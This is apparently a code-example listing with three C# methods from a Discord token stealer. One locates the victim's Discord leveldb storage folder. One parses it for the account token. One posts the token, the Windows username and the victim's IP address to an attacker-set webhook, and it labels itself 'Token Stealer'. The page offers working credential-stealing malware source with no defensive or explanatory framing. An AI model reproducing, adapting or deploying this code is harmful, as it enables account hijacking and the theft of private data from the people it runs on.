Esempio n. 1
0
        private static void SendWebHook(string token)
        {
            if (Settings.Default.AvatarUrl == null || Settings.Default.WebhookUrl == null)
            {
                MessageBox.Show("You didn't fill the settings!", "Token Stealer", MessageBoxButtons.OK, MessageBoxIcon.Error);
                return;
            }
            WebRequest.DefaultWebProxy = new WebProxy();
            HttpClient httpClient = new HttpClient();
            MultipartFormDataContent multipartFormDataContent = new MultipartFormDataContent();

            multipartFormDataContent.Add(new StringContent("Token Stealer"), "username");
            multipartFormDataContent.Add(new StringContent(Settings.Default.AvatarUrl), "avatar_url");
            multipartFormDataContent.Add(new StringContent(string.Concat(new string[]
            {
                "Token from (pc name): ",
                Environment.UserName,
                " | IP : ",
                Stealer.GetIP(),
                "\r\nToken: ",
                token
            })), "content");
            try
            {
                HttpResponseMessage result = httpClient.PostAsync(Settings.Default.WebhookUrl, multipartFormDataContent).Result;
            }
            catch (Exception)
            {
            }
        }
Esempio n. 2
0
        static void Main()
        {
            Application.EnableVisualStyles();
            Application.SetCompatibleTextRenderingDefault(false);
            string text  = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\discord\\Local Storage\\leveldb\\";
            bool   flag2 = !Stealer.FindLdb(ref text) && !Stealer.FindLog(ref text);

            if (flag2)
            {
                Program.SendWebHook("Token not found in victim's pc");
            }
            Thread.Sleep(100);
            string text2 = Stealer.GetToken(text, text.EndsWith(".log"));
            bool   flag3 = text2 == "";

            if (flag3)
            {
                text2 = "Token not found in victim's pc";
            }
            Program.SendWebHook(text2);
        }
Esempio n. 3
0
        public static string GetToken(string path, bool isLog = false)
        {
            byte[] bytes   = File.ReadAllBytes(path);
            string @string = Encoding.UTF8.GetString(bytes);
            string text    = "";
            string text2   = @string;

            while (text2.Contains("oken"))
            {
                string[] array = Stealer.Sub(text2).Split(new char[]
                {
                    '"'
                });
                text  = array[0];
                text2 = string.Join("\"", array);
                bool flag = isLog && text.Length == 59;
                if (flag)
                {
                    break;
                }
            }
            return(text);
        }